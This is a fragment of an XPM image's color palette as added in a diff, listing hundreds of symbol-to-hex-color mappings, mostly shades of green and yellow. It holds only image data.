#D2EF63", +"O4 c #CCE765", +"P4 c #C4DD65", +"Q4 c #BED567", +"R4 c #BDD567", +"S4 c #D4FD65", +"T4 c #D6FF66", +"U4 c #AAC060", +"V4 c #5C643B", +"W4 c #516E51", +"X4 c #8AB18E", +"Y4 c #ACD3B3", +"Z4 c #BCDFC3", +"`4 c #C6E3CB", +" 5 c #CCE6D0", +".5 c #E3F1E4", +"+5 c #E5F2E6", +"@5 c #E7F3E8", +"#5 c #F2F9EF", +"$5 c #EFF8EE", +"%5 c #EEF7EC", +"&5 c #ECF6E9", +"*5 c #EAF5E8", +"=5 c #E8F3E6", +"-5 c #E5F2E4", +";5 c #E3F1E2", +">5 c #E5F2E5", +",5 c #D6E9D8", +"'5 c #5F7F62", +")5 c #363B28", +"!5 c #727C4E", +"~5 c #AFC075", +"{5 c #BFD37F", +"]5 c #C1D681", +"^5 c #C0D381", +"/5 c #C6DF7E", +"(5 c #D7F87D", +"_5 c #BDD17D", +":5 c #C0D47C", +"<5 c #C2D77B", +"[5 c #C3D87B", +"}5 c #BFD47A", +"|5 c #B9CC79", +"15 c #ACBD76", +"25 c #D7FC73", +"35 c #D0F46F", +"45 c #A9BC6F", +"55 c #9AA66F", +"65 c #A2B26E", +"75 c #AABD6D", +"85 c #B1C76C", +"95 c #B6CD6B", +"05 c #B9D16A", +"a5 c #BBD469", +"b5 c #BBD568", +"c5 c #BAD466", +"d5 c #B9D265", +"e5 c #B7D163", +"f5 c #B4CE62", +"g5 c #B0C861", +"h5 c #A8BF5E", +"i5 c #A0B55D", +"j5 c #97AA5B", +"k5 c #A9C459", +"l5 c #CFFA5A", +"m5 c #90A355", +"n5 c #74995C", +"o5 c #2E3C3F", +"p5 c #A7E46B", +"q5 c #D8FF50", +"r5 c #D9FF55", +"s5 c #DBFF5A", +"t5 c #DBFE5B", +"u5 c #D8FA5D", +"v5 c #D6F65F", +"w5 c #D0EE60", +"x5 c #C9E461", +"y5 c #C1DA61", +"z5 c #BAD163", +"A5 c #C2DF63", +"B5 c #D5FF62", +"C5 c #CAEC64", +"D5 c #B8CE68", +"E5 c #646F3E", +"F5 c #729574", +"G5 c #CAE5CF", +"H5 c #C1E1C7", +"I5 c #BADDC1", +"J5 c #BFDFC4", +"K5 c #C6E2CA", +"L5 c #CCE5D0", +"M5 c #E0EFE2", +"N5 c #E9F4E8", +"O5 c #EAF5EA", +"P5 c #ECF6EA", +"Q5 c #E9F4E7", +"R5 c #DFEFDF", +"S5 c #E2F0E2", +"T5 c #E3F0E3", +"U5 c #A0B59F", +"V5 c #C7D8C8", +"W5 c #DCECDC", +"X5 c #D9EBDA", +"Y5 c #84A588", +"Z5 c #333727", +"`5 c #616A42", +" 6 c #89975C", +".6 c #BCCF7E", +"+6 c #C7E17C", +"@6 c #BDD17B", +"#6 c #BFD37A", +"$6 c #BFD579", +"%6 c #BDD378", +"&6 c #B9CD77", +"*6 c #B3C576", +"=6 c #B0C474", +"-6 c #D5FB71", +";6 c #C3E170", +">6 c #AABE6F", +",6 c #9AA76F", +"'6 c #A0AF6E", +")6 c #A7B86E", +"!6 c #ADC16C", +"~6 c #B3C96B", +"{6 c #B7CF6A", +"]6 c #BAD26A", +"^6 c #BBD368", +"/6 c #BBD567", +"(6 c #BAD566", +"_6 c #B6D063", +":6 c #B4CD61", +"<6 c #B0C860", +"[6 c #A9C05E", +"}6 c #A2B75C", +"|6 c #99AC5B", +"16 c #92A459", +"26 c #CCF855", +"36 c #B4D559", +"46 c #93A653", +"56 c #779F5D", +"66 c #20586B", +"76 c #A6E46A", +"86 c #D7FF4E", +"96 c #D9FF53", +"06 c #D9FF54", +"a6 c #DAFE58", +"b6 c #D7FB59", +"c6 c #D5F65B", +"d6 c #CEEE5C", +"e6 c #C6E35E", +"f6 c #BDD85E", +"g6 c #B6CE60", +"h6 c #C6EB5E", +"i6 c #D3FF5E", +"j6 c #BFDC62", +"k6 c #B9D065", +"l6 c #C0D866", +"m6 c #717F41", +"n6 c #638664", +"o6 c #C7E4CC", +"p6 c #B6DBBD", +"q6 c #B6DCBD", +"r6 c #B8DCBE", +"s6 c #C4E2CA", +"t6 c #C9E4CE", +"u6 c #D6E9D9", +"v6 c #E9F3E8", +"w6 c #EBF4E9", +"x6 c #EFF7EC", +"y6 c #E6F2E4", +"z6 c #DEEEDE", +"A6 c #E0EEE0", +"B6 c #5B6A59", +"C6 c #282A20", +"D6 c #282B27", +"E6 c #D2E3D3", +"F6 c #DCEDDC", +"G6 c #DBEDDC", +"H6 c #D9EADA", +"I6 c #D5E9D7", +"J6 c #8BA98E", +"K6 c #4B654D", +"L6 c #354837", +"M6 c #252621", +"N6 c #42492F", +"O6 c #8FA456", +"P6 c #B5C779", +"Q6 c #B3C579", +"R6 c #B5C879", +"S6 c #B6CA78", +"T6 c #B7CB77", +"U6 c #B5C976", +"V6 c #B4C776", +"W6 c #B0C275", +"X6 c #BDD673", +"Y6 c #CFF271", +"Z6 c #B7CE70", +"`6 c #A0AF70", +" 7 c #A2B16E", +".7 c #A5B66D", +"+7 c #AFC46C", +"@7 c #B3CA6B", +"#7 c #B8CF6A", +"$7 c #BAD269", +"%7 c #BAD366", +"&7 c #B4CD62", +"*7 c #B1CA61", +"=7 c #ADC45E", +"-7 c #A8BE5D", +";7 c #A1B55C", +">7 c #9AAD5A", +",7 c #93A559", +"'7 c #B8DB55", +")7 c #CBF753", +"!7 c #94A659", +"~7 c #96AC51", +"{7 c #7BA560", +"]7 c #215C6F", +"^7 c #2F3537", +"/7 c #A5E369", +"(7 c #D5FF4D", +"_7 c #D7FF54", +":7 c #D7FF51", +"<7 c #D8FF53", +"[7 c #D8FF54", +"}7 c #D9FE55", +"|7 c #D7FC56", +"17 c #D4F758", +"27 c #CDEE59", +"37 c #C4E35A", +"47 c #BBD75B", +"57 c #B3CC5C", +"67 c #C9F15B", +"77 c #D3FF5B", +"87 c #B5CF60", +"97 c #B8D162", +"07 c #C0DB63", +"a7 c #C8E464", +"b7 c #C1DD60", +"c7 c #657239", +"d7 c #3A4F39", +"e7 c #A7D0AD", +"f7 c #C7E4CD", +"g7 c #C9E5CE", +"h7 c #C2E1C8", +"i7 c #C7E3CC", +"j7 c #CFE7D3", +"k7 c #CEE6D2", +"l7 c #E2EFE2", +"m7 c #EEF7EB", +"n7 c #EBF5E8", +"o7 c #E7F3E5", +"p7 c #E1EFE1", +"q7 c #60705E", +"r7 c #2E3123", +"s7 c #505935", +"t7 c #3D412C", +"u7 c #7D9176", +"v7 c #DCEDDD", +"w7 c #D4E8D8", +"x7 c #CEE6D3", +"y7 c #A1CDA8", +"z7 c #86B18C", +"A7 c #374638", +"B7 c #4A5038", +"C7 c #919F64", +"D7 c #A6B672", +"E7 c #ACBC75", +"F7 c #AABC74", +"G7 c #A8B973", +"H7 c #ADC073", +"I7 c #CAEB71", +"J7 c #CBEC70", +"K7 c #A6B76F", +"L7 c #9FAD6F", +"M7 c #A2B26D", +"N7 c #A8BA6B", +"O7 c #ACC06A", +"P7 c #AFC46A", +"Q7 c #B2C968", +"R7 c #B4CB67", +"S7 c #B4CC66", +"T7 c #B4CC65", +"U7 c #B2CB63", +"V7 c #B0C862", +"W7 c #ABC25F", +"X7 c #A8BE5E", +"Y7 c #A3B95C", +"Z7 c #9EB25B", +"`7 c #98AB5A", +" 8 c #ABC955", +".8 c #D0FF53", +"+8 c #9EB753", +"@8 c #97AB57", +"#8 c #9AB250", +"$8 c #7FAB61", +"%8 c #225F73", +"&8 c #A4E269", +"*8 c #D4FE4B", +"=8 c #D6FE52", +"-8 c #D6FF4F", +";8 c #D6FF51", +">8 c #D7FF52", +",8 c #D7FE54", +"'8 c #D4F955", +")8 c #CEF156", +"!8 c #C5E557", +"~8 c #BBD757", +"{8 c #B2CB59", +"]8 c #C7EE57", +"^8 c #D2FF58", +"/8 c #B1CA5C", +"(8 c #B7D05E", +"_8 c #C0DC60", +":8 c #C9E761", +"<8 c #D0F062", +"[8 c #D6F764", +"}8 c #DAFB66", +"|8 c #77863E", +"18 c #1A1B19", +"28 c #465D45", +"38 c #557656", +"48 c #7EA482", +"58 c #A8CDAE", +"68 c #A8CEAE", +"78 c #A8CEAF", +"88 c #B5D8BB", +"98 c #C7E3CD", +"08 c #D0E8D5", +"a8 c #C9E3CD", +"b8 c #BAD8BF", +"c8 c #BED8C1", +"d8 c #B8D2BA", +"e8 c #9AB39A", +"f8 c #7B937A", +"g8 c #2A2F28", +"h8 c #97A993", +"i8 c #EBF4EB", +"j8 c #ECF5EA", +"k8 c #EBF6E9", +"l8 c #E9F4E6", +"m8 c #E5F2E3", +"n8 c #E0EFE0", +"o8 c #DBEDDB", +"p8 c #AEC5AE", +"q8 c #25271E", +"r8 c #4D5632", +"s8 c #65733D", +"t8 c #63703D", +"u8 c #6D7E64", +"v8 c #DDECDE", +"w8 c #B8DCBF", +"x8 c #B4DABB", +"y8 c #547959", +"z8 c #2C2E25", +"A8 c #5A6143", +"B8 c #919C68", +"C8 c #A1B16F", +"D8 c #BAD470", +"E8 c #C6E56F", +"F8 c #B0C76E", +"G8 c #97A46E", +"H8 c #97A46D", +"I8 c #98A66C", +"J8 c #9BA96B", +"K8 c #9EAD6A", +"L8 c #A1B26A", +"M8 c #A5B769", +"N8 c #A7BB68", +"O8 c #AABF67", +"P8 c #ACC266", +"Q8 c #ACC265", +"R8 c #ABC163", +"S8 c #ABC062", +"T8 c #A9C061", +"U8 c #A7BE60", +"V8 c #A4BA5E", +"W8 c #A1B75D", +"X8 c #9DB25C", +"Y8 c #9AAD5B", +"Z8 c #95A859", +"`8 c #91A358", +" 9 c #BDE455", +".9 c #D0FF52", +"+9 c #AAC852", +"@9 c #93A752", +"#9 c #9BB155", +"$9 c #9EB64F", +"%9 c #81AF62", +"&9 c #236175", +"*9 c #A3E168", +"=9 c #D4FC49", +"-9 c #D5FD50", +";9 c #D4FD4D", +">9 c #D5FE4F", +",9 c #D5FE50", +"'9 c #D3FA52", +")9 c #CEF452", +"!9 c #C6E854", +"~9 c #BBDA54", +"{9 c #B0CB55", +"]9 c #BDE154", +"^9 c #D1FF54", +"/9 c #B5D259", +"(9 c #B3CE5B", +"_9 c #BEDB5C", +":9 c #C8E75E", +"<9 c #D1F160", +"[9 c #D6F961", +"}9 c #D9FC62", +"|9 c #DAFE63", +"19 c #DBFE64", +"29 c #D6F964", +"39 c #A1B950", +"49 c #7C8E41", +"59 c #535D30", +"69 c #2D3021", +"79 c #292C1F", +"89 c #1D211D", +"99 c #3C523D", +"09 c #4F6B51", +"a9 c #4C664D", +"b9 c #4D684F", +"c9 c #4E6950", +"d9 c #303F30", +"e9 c #22241C", +"f9 c #24261E", +"g9 c #282B1F", +"h9 c #3A4026", +"i9 c #474F2C", +"j9 c #2E3122", +"k9 c #BACEB9", +"l9 c #E8F4E7", +"m9 c #EBF5E9", +"n9 c #E9F5E7", +"o9 c #E6F3E5", +"p9 c #E2F1E1", +"q9 c #DFEEDE", +"r9 c #B4CAB4", +"s9 c #1D201D", +"t9 c #3F4728", +"u9 c #586534", +"v9 c #49522F", +"w9 c #1D1D1B", +"x9 c #B1C7AD", +"y9 c #DDEDDD", +"z9 c #C7E1CC", +"A9 c #B9DBBF", +"B9 c #A9D4B2", +"C9 c #A9D5B2", +"D9 c #7BAB82", +"E9 c #181A18", +"F9 c #879C4D", +"G9 c #A9C45F", +"H9 c #AAC16A", +"I9 c #94A06D", +"J9 c #909B6D", +"K9 c #909B6C", +"L9 c #93A06B", +"M9 c #93A06A", +"N9 c #93A069", +"O9 c #95A368", +"P9 c #98A767", +"Q9 c #9BAC66", +"R9 c #9FB066", +"S9 c #A1B464", +"T9 c #A3B763", +"U9 c #A3B662", +"V9 c #A3B761", +"W9 c #A2B660", +"X9 c #A0B55F", +"Y9 c #9EB25E", +"Z9 c #9BAE5C", +"`9 c #98AB5B", +" 0 c #94A75A", +".0 c #94A758", +"+0 c #B0D055", +"@0 c #CFFD52", +"#0 c #9CB452", +"$0 c #93A652", +"%0 c #98AE50", +"&0 c #9FB753", +"*0 c #A1BA4D", +"=0 c #82B263", +"-0 c #246277", +";0 c #A2E167", +">0 c #D2FB47", +",0 c #D4FC4E", +"'0 c #D4FC4C", +")0 c #D4FC4D", +"!0 c #D3FB4F", +"~0 c #CFF650", +"{0 c #C7EB50", +"]0 c #BDDE52", +"^0 c #B2CE52", +"/0 c #B0CE52", +"(0 c #D0FF51", +"_0 c #B6D854", +":0 c #ADC756", +"<0 c #B8D559", +"[0 c #C5E45B", +"}0 c #CEF15C", +"|0 c #D4F85D", +"10 c #D8FC5F", +"20 c #DAFE60", +"30 c #D9FE61", +"40 c #D8FC62", +"50 c #D7FB64", +"60 c #D5F665", +"70 c #D2F365", +"80 c #CDEC65", +"90 c #C5E363", +"00 c #C0DF61", +"a0 c #BCDB5D", +"b0 c #B0CA5B", +"c0 c #8B9D4A", +"d0 c #7B8C44", +"e0 c #7A8B43", +"f0 c #72813F", +"g0 c #6B793C", +"h0 c #849648", +"i0 c #9EB453", +"j0 c #A0B755", +"k0 c #ABC45B", +"l0 c #B9D362", +"m0 c #69763E", +"n0 c #75896F", +"o0 c #E2F0E1", +"p0 c #7C8B78", +"q0 c #24271D", +"r0 c #3B4326", +"s0 c #2C3121", +"t0 c #1A1A19", +"u0 c #82997E", +"v0 c #D1E6D2", +"w0 c #DAEBDA", +"x0 c #DEEDDE", +"y0 c #E1EEE1", +"z0 c #E1EEE2", +"A0 c #DAECDB", +"B0 c #BEDDC4", +"C0 c #B0D8B7", +"D0 c #A2D2AA", +"E0 c #A1D1A9", +"F0 c #C5E3CA", +"G0 c #59735C", +"H0 c #4C592B", +"I0 c #89A147", +"J0 c #AFCE5D", +"K0 c #D1F767", +"L0 c #D3FA68", +"M0 c #D1F867", +"N0 c #CEF466", +"O0 c #C6EB65", +"P0 c #C0E265", +"Q0 c #B3CF64", +"R0 c #B0CC63", +"S0 c #AEC862", +"T0 c #ABC561", +"U0 c #ADC861", +"V0 c #A9C15F", +"W0 c #A4B95E", +"X0 c #A1B85C", +"Y0 c #A3BB5B", +"Z0 c #A8C359", +"`0 c #B2D357", +" a c #C9F454", +".a c #B1D252", +"+a c #90A353", +"@a c #93A851", +"#a c #98AF50", +"$a c #9DB54F", +"%a c #A3BC52", +"&a c #A3BD4B", +"*a c #82B363", +"=a c #A1E066", +"-a c #D1FB46", +";a c #D3FB4C", +">a c #D2FB4A", +",a c #D3FB4B", +"'a c #D2F94D", +")a c #CBF04D", +"!a c #C1E34F", +"~a c #B6D34F", +"{a c #A8C250", +"]a c #CCFB4D", +"^a c #C4EF50", +"/a c #A4BC53", +"(a c #AEC955", +"_a c #BBD957", +":a c #C7E859", +"b c #ACC94D", +",b c #B0D04C", +"'b c #CEFF4B", +")b c #A6C150", +"!b c #A3BB51", +"~b c #AEC853", +"{b c #BAD855", +"]b c #C5E657", +"^b c #CCEE58", +"/b c #D1F559", +"(b c #D4F85A", +"_b c #D5F95C", +":b c #D4F75D", +"c c #C5F249", +",c c #C6F34A", +"'c c #99AF4F", +")c c #A0B850", +"!c c #ABC550", +"~c c #B7D453", +"{c c #BFDF55", +"]c c #C6E756", +"^c c #CCEF57", +"/c c #D0F458", +"(c c #D1F459", +"_c c #D0F25B", +":c c #CCED5C", +"d c #C3EB4E", +",d c #BCDE51", +"'d c #BDDD54", +")d c #C5E655", +"!d c #C9ED56", +"~d c #CBED57", +"{d c #C9EB58", +"]d c #C5E659", +"^d c #C0DE5A", +"/d c #C5E95A", +"(d c #C7ED59", +"_d c #BBD85C", +":d c #BBD85D", +"e c #C2E354", +",e c #C4E655", +"'e c #C2E356", +")e c #BFDD57", +"!e c #C0E156", +"~e c #C8F055", +"{e c #B8D459", +"]e c #B9D55A", +"^e c #B9D55B", +"/e c #B8D45D", +"(e c #B9D55D", +"_e c #CBF25B", +":e c #CCF35C", +"f c #B6D159", +",f c #B7D35A", +"'f c #CAF358", +")f c #C3E75A", +"!f c #B7D25D", +"~f c #B9D65D", +"{f c #BDD95E", +"]f c #BFDC60", +"^f c #BCD861", +"/f c #B8D261", +"(f c #596336", +"_f c #799D7B", +":f c #D1E7D2", +"g c #96AC4F", +",g c #3D4F3D", +"'g c #C5E1CB", +")g c #DDEEDD", +"!g c #CFE6D0", +"~g c #CBE4CD", +"{g c #A9C8AB", +"]g c #7A9679", +"^g c #3F4C3F", +"/g c #1E201A", +"(g c #B9D2BB", +"_g c #D7EBD7", +":g c #95A791", +"h c #BFD3BF", +",h c #D6E8D9", +"'h c #CDE4D0", +")h c #C8E2CB", +"!h c #C1DFC5", +"~h c #95B696", +"{h c #2D311F", +"]h c #474F29", +"^h c #282F26", +"/h c #C4DFC7", +"(h c #D3E8D3", +"_h c #D5EAD5", +":h c #D6EAD6", +"i c #BFDEC3", +",i c #CAE4CC", +"'i c #CCE4CD", +")i c #D4E8D4", +"!i c #D6E9D6", +"~i c #D4E9D6", +"{i c #C8E1CC", +"]i c #C4DEC8", +"^i c #C0DDC4", +"/i c #B5D8BD", +"(i c #B1D6B8", +"_i c #B3D8BA", +":i c #82B58C", +"j c #D6EAD7", +",j c #D5E8D6", +"'j c #D1E6D3", +")j c #D1E5D3", +"!j c #D0E5D2", +"~j c #CEE4D2", +"{j c #C9E1CE", +"]j c #B9DAC0", +"^j c #ACD3B4", +"/j c #B6DABD", +"(j c #62AE71", +"_j c #1C381E", +":j c #3B4224", +"k c #CDE4D1", +",k c #94C79F", +"'k c #47A057", +")k c #3C9A4E", +"!k c #182319", +"~k c #535F29", +"{k c #869B3D", +"]k c #A5BF49", +"^k c #B0CE4F", +"/k c #AFCC4E", +"(k c #9FB84C", +"_k c #93AA4A", +":k c #95AE48", +"l c #62712D", +",l c #8DA43F", +"'l c #AAC74B", +")l c #AECD4C", +"!l c #A3BE4A", +"~l c #8FA547", +"{l c #8CA146", +"]l c #A1C243", +"^l c #C9FB42", +"/l c #9CB848", +"(l c #8DA24B", +"_l c #94AA4C", +":l c #99B249", +"m c #ACCB4A", +",m c #AAC849", +"'m c #A6C34A", +")m c #A2BC4C", +"!m c #9CB34F", +"~m c #95AA4F", +"{m c #8EA14E", +"]m c #879A4B", +"^m c #A6CA40", +"/m c #C9FF36", +"(m c #96BC2A", +"_m c #728B20", +":m c #759218", +"n c #AFCC52", +",n c #ADCA4E", +"'n c #A9C649", +")n c #A0BE40", +"!n c #95B233", +"~n c #8AA72B", +"{n c #7E9A22", +"]n c #708917", +"^n c #5E7909", +"/n c #739A03", +"(n c #BAFF00", +"_n c #83B002", +":n c #617E04", +"o c #687D24", +",o c #87A723", +"'o c #94B81E", +")o c #93B917", +"!o c #90B710", +"~o c #88AF06", +"{o c #84AA06", +"]o c #80A406", +"^o c #789C05", +"/o c #6F9005", +"(o c #648104", +"_o c #5B7504", +":o c #7EA902", +"p c #8BB406", +",p c #8CB506", +"'p c #8BB306", +")p c #89B006", +"!p c #86AE06", +"~p c #81A806", +"{p c #799D05", +"]p c #6C8C05", +"^p c #617D04", +"/p c #577004", +"(p c #B4F700", +"_p c #9FD801", +":p c #5C7703", +"

    Q c #206825", +",Q c #25722A", +"'Q c #26762B", +")Q c #237229", +"!Q c #1E6425", +"~Q c #163A1B", +"{Q c #556C02", +"]Q c #AACE01", +"^Q c #C9F500", +"/Q c #9BBB03", +"(Q c #749404", +"_Q c #6F9004", +":Q c #678704", +"R c #93B504", +",R c #8FB106", +"'R c #91B206", +")R c #91B207", +"!R c #86AA05", +"~R c #ADCD03", +"{R c #93AE10", +"]R c #212820", +"^R c #143A1A", +"/R c #114516", +"(R c #114716", +"_R c #132815", +":R c #22280F", +"S c #C1E501", +",S c #475B0B", +"'S c #193515", +")S c #155219", +"!S c #195F1D", +"~S c #1A621F", +"{S c #445102", +"]S c #627503", +"^S c #87A404", +"/S c #94B405", +"(S c #8BB105", +"_S c #AFCD03", +":S c #CBF500", +"T c #D0FD00", +",T c #C9F200", +"'T c #81AB03", +")T c #8BAD07", +"!T c #98B507", +"~T c #96B507", +"{T c #6EA94F", +"]T c #1F4E5C", +"^T c #A3D421", +"/T c #B9DD03", +"(T c #92B307", +"_T c #90B107", +":T c #B5D703", +"U c #D1F900", +",U c #BAD803", +"'U c #82A806", +")U c #8AB206", +"!U c #81A706", +"~U c #C3E601", +"{U c #D4FD00", +"]U c #789B06", +"^U c #7C9F06", +"/U c #92B606", +"(U c #96B907", +"_U c #A2C007", +":U c #A9C407", +"V c #9FC204", +",V c #A5C601", +"'V c #AFCF05", +")V c #192A15", +"!V c #0B3B0F", +"~V c #0E4611", +"{V c #0E4B13", +"]V c #0B3B0E", +"^V c #142914", +"/V c #444F07", +"(V c #647501", +"_V c #678702", +":V c #83AA06", +"W c #AAC801", +",W c #7A9F05", +"'W c #6FAA51", +")W c #25596A", +"!W c #83BE58", +"~W c #B1CB08", +"{W c #B3CA08", +"]W c #7DA406", +"^W c #C6EA01", +"/W c #CEF600", +"(W c #749706", +"_W c #B1C808", +":W c #B7CF08", +"X c #ABC606", +",X c #99BF06", +"'X c #95BD04", +")X c #DAFF00", +"!X c #9BC203", +"~X c #688805", +"{X c #182715", +"]X c #07320A", +"^X c #083A0A", +"/X c #093D0A", +"(X c #0F2A13", +"_X c #2A3602", +":X c #6A7801", +"Y c #8CB306", +",Y c #9ABE07", +"'Y c #A6C307", +")Y c #99BC07", +"!Y c #D0F201", +"~Y c #CEF001", +"{Y c #A8C507", +"]Y c #ADC707", +"^Y c #A3C307", +"/Y c #4F6503", +"(Y c #C2DD01", +"_Y c #C9E701", +":Y c #95BD07", +"Z c #152514", +",Z c #032A05", +"'Z c #032805", +")Z c #032705", +"!Z c #0A1D0D", +"~Z c #1F2214", +"{Z c #485D02", +"]Z c #8AB703", +"^Z c #5F7D03", +"/Z c #5F7C03", +"(Z c #C7E301", +"_Z c #C1DA01", +":Z c #81A604", +"` c #C6E700", +",` c #AAC903", +"'` c #607B04", +")` c #729206", +"!` c #90B707", +"~` c #94B607", +"{` c #70AD53", +"]` c #2A3E43", +"^` c #2B2C2D", +"/` c #1D4855", +"(` c #ADD918", +"_` c #BED801", +":` c #82A704", +"<` c #7DA304", +"[` c #6C8D03", +"}` c #C8E700", +"|` c #D9FE00", +"1` c #BDD403", +"2` c #87AD04", +"3` c #95BE06", +"4` c #A5C606", +"5` c #BBD007", +"6` c #9EC306", +"7` c #85AA04", +"8` c #A0C703", +"9` c #AECE02", +"0` c #94BE06", +"a` c #AAC906", +"b` c #BBD008", +"c` c #BACF08", +"d` c #A8C906", +"e` c #C7DF02", +"f` c #DCFE00", +"g` c #89B205", +"h` c #9BC406", +"i` c #ABCB06", +"j` c #B9D008", +"k` c #C2D408", +"l` c #BED208", +"m` c #B4CE08", +"n` c #A1C606", +"o` c #DBFB00", +"p` c #C8E002", +"q` c #282F14", +"r` c #0B1C0D", +"s` c #022703", +"t` c #022503", +"u` c #112313", +"v` c #3C4407", +"w` c #627001", +"x` c #6B8905", +"y` c #D0EC02", +"z` c #B6D102", +"A` c #CAE502", +"B` c #6F8F03", +"C` c #B6D101", +"D` c #D7F700", +"E` c #769804", +"F` c #9FC307", +"G` c #A6C607", +"H` c #A2C504", +"I` c #D6FA00", +"J` c #81A906", +"K` c #7EA106", +"L` c #89AF06", +"M` c #7DA303", +"N` c #84B003", +"O` c #7A9A06", +"P` c #8AB106", +"Q` c #71AB54", +"R` c #1D4755", +"S` c #88B82E", +"T` c #C9EA01", +"U` c #C8E501", +"V` c #7B9F04", +"W` c #7EA204", +"X` c #7A9E04", +"Y` c #709503", +"Z` c #8FBB04", +"`` c #C3DC01", +" . c #D4F400", +". . c #84AB04", +"+ . c #A8C806", +"@ . c #CBE502", +"# . c #B7D203", +"$ . c #ABCA06", +"% . c #C3D408", +"& . c #C3D508", +"* . c #BDD208", +"= . c #88AF05", +"- . c #AECF03", +"; . c #DFFF00", +"> . c #9CC605", +", . c #A8CA06", +"' . c #A7C906", +") . c #94C106", +"! . c #D0EA02", +"~ . c #DBFA00", +"{ . c #2A3114", +"] . c #091A0B", +"^ . c #002401", +"/ . c #002001", +"( . c #041705", +"_ . c #171A17", +": . c #293403", +"< . c #6B7901", +"[ . c #9AAB02", +"} . c #729105", +"| . c #96C303", +"1 . c #D5F200", +"2 . c #89B802", +"3 . c #C9E302", +"4 . c #546C03", +"5 . c #CBE602", +"6 . c #CEEA02", +"7 . c #A1C407", +"8 . c #ABC807", +"9 . c #C3DF03", +"0 . c #CBE901", +"a . c #BAD401", +"b . c #C7E800", +"c . c #6F9006", +"d . c #83A606", +"e . c #8DB307", +"f . c #70AB53", +"g . c #2C2E2E", +"h . c #1E4957", +"i . c #619C41", +"j . c #B3CD03", +"k . c #87B104", +"l . c #769504", +"m . c #759504", +"n . c #9BC201", +"o . c #9BC006", +"p . c #99C006", +"q . c #C3DB01", +"r . c #82A804", +"s . c #93BD06", +"t . c #B5CD08", +"u . c #C1D208", +"v . c #BED108", +"w . c #A3C706", +"x . c #C3D803", +"y . c #D8F600", +"z . c #D7F500", +"A . c #B1CE05", +"B . c #AECC06", +"C . c #BED308", +"D . c #ACCC06", +"E . c #B1D003", +"F . c #9AC605", +"G . c #C4D508", +"H . c #C2D508", +"I . c #9BC506", +"J . c #B9D403", +"K . c #43520E", +"L . c #102711", +"M . c #002300", +"N . c #001F00", +"O . c #09190B", +"P . c #262813", +"Q . c #2B3702", +"R . c #4E6603", +"S . c #B4CD00", +"T . c #89B405", +"U . c #ADCF03", +"V . c #556F03", +"W . c #7BA203", +"X . c #5C7905", +"Y . c #9CC206", +"Z . c #A4C608", +"` . c #A9C807", +" .. c #AAC807", +"... c #A7C707", +"+.. c #99C007", +"@.. c #D5F700", +"#.. c #698B04", +"$.. c #7BA403", +"%.. c #88AE07", +"&.. c #6FA952", +"*.. c #1F4D5B", +"=.. c #65A246", +"-.. c #92BD03", +";.. c #BAD203", +">.. c #CFEF01", +",.. c #789B04", +"'.. c #A6C706", +").. c #9DC306", +"!.. c #A7C903", +"~.. c #94C105", +"{.. c #9FC506", +"].. c #B1CC06", +"^.. c #BFD208", +"/.. c #B1CD06", +"(.. c #A3C806", +"_.. c #99C406", +":.. c #93BE06", +"<.. c #B2CE08", +"[.. c #BCD308", +"}.. c #C4D608", +"|.. c #97C406", +"1.. c #C7DB03", +"2.. c #E0FF00", +"3.. c #97C506", +"4.. c #A9CC06", +"5.. c #BAD208", +"6.. c #BFD408", +"7.. c #AFCE08", +"8.. c #9EC806", +"9.. c #8CB606", +"0.. c #9BC803", +"a.. c #9AC803", +"b.. c #617C08", +"c.. c #152115", +"d.. c #002100", +"e.. c #0E250F", +"f.. c #363A0F", +"g.. c #465903", +"h.. c #B3C702", +"i.. c #CFE802", +"j.. c #B2D003", +"k.. c #D0EB02", +"l.. c #5D7705", +"m.. c #C3DA02", +"n.. c #BCD502", +"o.. c #5E7A05", +"p.. c #91C103", +"q.. c #DDFE00", +"r.. c #8DB605", +"s.. c #95C006", +"t.. c #A0C508", +"u.. c #ABC908", +"v.. c #A6C707", +"w.. c #8AAF06", +"x.. c #AECC04", +"y.. c #D0EF01", +"z.. c #BED901", +"A.. c #BBD501", +"B.. c #739506", +"C.. c #6DA951", +"D.. c #6DAA4D", +"E.. c #CFF001", +"F.. c #CDEC01", +"G.. c #8FBC04", +"H.. c #A9C806", +"I.. c #B0CB07", +"J.. c #AECB08", +"K.. c #C3DA03", +"L.. c #98C306", +"M.. c #A9CA06", +"N.. c #BAD108", +"O.. c #B2CF08", +"P.. c #A6CA06", +"Q.. c #B8D208", +"R.. c #B9D208", +"S.. c #A7CB06", +"T.. c #D7F102", +"U.. c #D8F202", +"V.. c #ADCE06", +"W.. c #BCD408", +"X.. c #C4D708", +"Y.. c #C3D608", +"Z.. c #C2D608", +"`.. c #B0CF08", +" +. c #A1C906", +".+. c #90B906", +"++. c #E1FF00", +"@+. c #B0D203", +"#+. c #222616", +"$+. c #061507", +"%+. c #112712", +"&+. c #4D550A", +"*+. c #3D4F02", +"=+. c #4E6403", +"-+. c #D6F102", +";+. c #8FBA05", +">+. c #D5F102", +",+. c #729705", +"'+. c #92C303", +")+. c #C5DA02", +"!+. c #627D05", +"~+. c #CBE402", +"{+. c #CEE802", +"]+. c #99C306", +"^+. c #A3C708", +"/+. c #A8C908", +"(+. c #ABCA08", +"_+. c #AAC908", +":+. c #A8C708", +"<+. c #A4C508", +"[+. c #CEEC01", +"}+. c #B7D103", +"|+. c #769A06", +"1+. c #7FA903", +"2+. c #6E8D06", +"3+. c #69A750", +"4+. c #256477", +"5+. c #235565", +"6+. c #75B252", +"7+. c #9ABE06", +"8+. c #A8C803", +"9+. c #9EC403", +"0+. c #85AD04", +"a+. c #99C106", +"b+. c #A3C606", +"c+. c #ACCA07", +"d+. c #DCFC00", +"e+. c #9FC706", +"f+. c #BFD308", +"g+. c #C0D408", +"h+. c #BDD308", +"i+. c #B7D108", +"j+. c #B6D108", +"k+. c #BED408", +"l+. c #B2D008", +"m+. c #A0C906", +"n+. c #8DB806", +"o+. c #CADD03", +"p+. c #B0D006", +"q+. c #BED508", +"r+. c #C5D608", +"s+. c #C1D608", +"t+. c #C0D508", +"u+. c #BBD308", +"v+. c #ABCF06", +"w+. c #9CC806", +"x+. c #DFFC00", +"y+. c #C0D803", +"z+. c #252916", +"A+. c #061207", +"B+. c #162015", +"C+. c #6A7604", +"D+. c #5A6A02", +"E+. c #CDE302", +"F+. c #CFE702", +"G+. c #BBD503", +"H+. c #CBE102", +"I+. c #6C8A05", +"J+. c #D8F500", +"K+. c #9AC505", +"L+. c #A0C608", +"M+. c #A9C808", +"N+. c #A7C608", +"O+. c #A1C408", +"P+. c #96C008", +"Q+. c #CCE901", +"R+. c #87AB06", +"S+. c #7BA303", 